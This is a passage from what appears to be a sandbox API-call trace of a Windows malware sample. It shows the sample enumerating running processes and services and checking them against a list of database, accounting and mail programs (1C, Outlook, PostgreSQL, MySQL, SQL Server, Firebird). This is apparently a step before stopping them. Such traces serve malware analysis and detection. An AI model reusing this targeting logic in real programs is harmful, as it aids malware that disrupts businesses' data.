(lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0266.916] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0266.916] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0266.917] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.918] lstrlenW (lpString="csrss.exe") returned 9 [0266.918] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.918] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.918] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.918] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.918] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.918] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.918] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.919] lstrlenW (lpString="winlogon.exe") returned 12 [0266.919] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.921] lstrlenW (lpString="services.exe") returned 12 [0266.921] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.922] lstrlenW (lpString="lsass.exe") returned 9 [0266.922] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0266.923] lstrlenW (lpString="lsm.exe") returned 7 [0266.923] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.027] lstrlenW (lpString="svchost.exe") returned 11 [0267.027] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.028] lstrlenW (lpString="svchost.exe") returned 11 [0267.029] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.030] lstrlenW (lpString="svchost.exe") returned 11 [0267.030] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.031] lstrlenW (lpString="svchost.exe") returned 11 [0267.031] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.032] lstrlenW (lpString="svchost.exe") returned 11 [0267.032] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.034] lstrlenW (lpString="audiodg.exe") returned 11 [0267.034] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.036] lstrlenW (lpString="svchost.exe") returned 11 [0267.036] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.037] lstrlenW (lpString="explorer.exe") returned 12 [0267.037] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.038] lstrlenW (lpString="dwm.exe") returned 7 [0267.038] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.039] lstrlenW (lpString="svchost.exe") returned 11 [0267.039] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0267.040] lstrlenW (lpString="driver.exe") returned 10 [0267.040] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.041] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.041] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.042] lstrlenW (lpString="taskhost.exe") returned 12 [0267.042] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.043] lstrlenW (lpString="svchost.exe") returned 11 [0267.044] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0267.045] lstrlenW (lpString="reader_sl.exe") returned 13 [0267.045] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.046] lstrlenW (lpString="taskhost.exe") returned 12 [0267.046] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.047] lstrlenW (lpString="dllhost.exe") returned 11 [0267.047] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0267.048] lstrlenW (lpString="consent.exe") returned 11 [0267.048] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0267.049] CloseHandle (hObject=0x3b0) returned 1 [0267.050] Sleep (dwMilliseconds=0x1f4) [0267.897] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8d32d8 [0267.899] EnumServicesStatusExW (in: hSCManager=0x8d32d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0267.899] GetLastError () returned 0xea [0267.899] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0267.900] EnumServicesStatusExW (in: hSCManager=0x8d32d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0267.901] CloseServiceHandle (hSCObject=0x8d32d8) returned 1 [0267.902] lstrlenW (lpString="Appinfo") returned 7 [0267.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0267.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0267.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0267.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0267.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0267.903] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0267.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.903] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0267.903] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0267.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0267.903] lstrlenW (lpString="AudioSrv") returned 8 [0267.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0267.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0267.903] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0267.903] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0267.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0267.904] lstrlenW (lpString="BFE") returned 3 [0267.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0267.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0267.904] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0267.904] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0267.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0267.904] lstrlenW (lpString="CryptSvc") returned 8 [0267.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0267.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0267.904] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0267.905] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0267.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0267.905] lstrlenW (lpString="CscService") returned 10 [0267.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0267.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0267.905] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0267.905] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0267.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0267.905] lstrlenW (lpString="DcomLaunch") returned 10 [0267.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.905] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0267.905] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0267.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0267.906] lstrlenW (lpString="Dhcp") returned 4 [0267.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0267.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0267.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0267.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0267.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0267.906] lstrlenW (lpString="Dnscache") returned 8 [0267.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0267.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0267.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0267.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0267.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0267.908] lstrlenW (lpString="DPS") returned 3 [0267.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0267.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0267.908] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0267.908] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0267.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0267.908] lstrlenW (lpString="eventlog") returned 8 [0267.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0267.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0267.908] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0267.908] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0267.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0267.908] lstrlenW (lpString="EventSystem") returned 11 [0267.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0267.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0267.909] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0267.909] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0267.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0267.909] lstrlenW (lpString="gpsvc") returned 5 [0267.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0267.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0267.909] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0267.909] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0267.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0267.909] lstrlenW (lpString="iphlpsvc") returned 8 [0267.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.910] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0267.910] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0267.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0267.910] lstrlenW (lpString="LanmanServer") returned 12 [0267.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0267.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0267.910] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0267.910] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0267.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0267.910] lstrlenW (lpString="LanmanWorkstation") returned 17 [0267.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.911] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0267.911] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0267.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0267.911] lstrlenW (lpString="lmhosts") returned 7 [0267.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0267.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0267.911] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0267.911] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0267.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0267.911] lstrlenW (lpString="MMCSS") returned 5 [0267.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0267.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0267.912] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0267.912] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0267.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0267.912] lstrlenW (lpString="MpsSvc") returned 6 [0267.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0267.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0267.912] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0267.912] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0267.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0267.912] lstrlenW (lpString="Netman") returned 6 [0267.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0267.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0267.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0267.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0267.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0267.913] lstrlenW (lpString="netprofm") returned 8 [0267.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0267.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0267.913] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0267.913] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0267.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0267.913] lstrlenW (lpString="NlaSvc") returned 6 [0267.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0267.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0267.914] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0267.914] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0267.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0267.914] lstrlenW (lpString="nsi") returned 3 [0267.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0267.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0267.914] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0267.914] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0267.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0267.915] lstrlenW (lpString="PcaSvc") returned 6 [0267.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0267.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0267.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0267.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0267.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0267.915] lstrlenW (lpString="PlugPlay") returned 8 [0267.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0267.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0267.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0267.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0267.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0267.916] lstrlenW (lpString="Power") returned 5 [0267.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0267.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0267.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0267.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0267.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0267.916] lstrlenW (lpString="ProfSvc") returned 7 [0267.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0267.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0267.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0267.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0267.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0267.917] lstrlenW (lpString="RpcEptMapper") returned 12 [0267.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.917] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0267.917] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0267.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0267.917] lstrlenW (lpString="RpcSs") returned 5 [0267.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0267.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0267.917] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0267.917] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0267.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0267.918] lstrlenW (lpString="SamSs") returned 5 [0267.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0267.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0267.918] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0267.918] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0267.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0267.918] lstrlenW (lpString="Schedule") returned 8 [0267.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0267.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0267.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0267.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0267.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0267.919] lstrlenW (lpString="SENS") returned 4 [0267.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0267.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0267.919] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0267.919] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0267.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0267.919] lstrlenW (lpString="ShellHWDetection") returned 16 [0267.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.920] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0267.920] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0267.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0267.920] lstrlenW (lpString="Spooler") returned 7 [0267.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0267.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0267.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0267.920] lstrcmpiW (lpString1="mssqlserver", 